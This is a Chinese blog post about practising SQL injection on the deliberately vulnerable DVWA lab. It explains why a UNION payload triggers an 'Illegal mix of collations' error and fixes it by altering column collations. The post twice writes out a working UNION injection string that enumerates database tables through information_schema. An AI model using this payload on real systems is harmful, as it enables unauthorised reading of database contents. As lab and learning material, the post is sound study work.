关于SQL注入报错:Illegal mix of collations for operation ‘UNION‘原因剖析与验证

关于SQL注入报错:Illegal mix of collations for operation 'UNION’原因剖析与验证

今天练习了一下DVWA的SQL注入模块

使用了union注入时报错如下:Illegal mix of collations for operation ‘UNION’

payload:' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#

image-20210225135019289

网上查了很多资料,原因是union两端的字段的collatie(排序规则)不同
【关于collatie】

于是去数据库查询:

查询:

  • 在user表中:

show create table users

image-20210225143106758

主查询中的first_name和last_name字段的collatie为utf8_unicode_ci

  • 在information_schema.tables表中:

show create table information_schema.tables

image-20210225154911448

没有显示,但是经过查询charset=utf8的默认collatie为utf8_general_ci如下图:

show collation

image-20210225155227705

查看数据库可知union两端的字段的collatie不同。

验证:

将users表中first_name与last_name字段的collatie改为utf8_general_ci,使union两端的字段的collatie保持一致:
【关于修改collatie】

alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci

alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci

image-20210225155850172

image-20210225160555692

再次回到DVWA用union注入尝试:

payload:' union select table_schema,table_name from information_schema.tables where table_schema='dvwa'#

image-20210225160214188

验证成功!

  • 31
    点赞
  • 53
    收藏
    觉得还不错? 一键收藏
  • 14
    评论
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值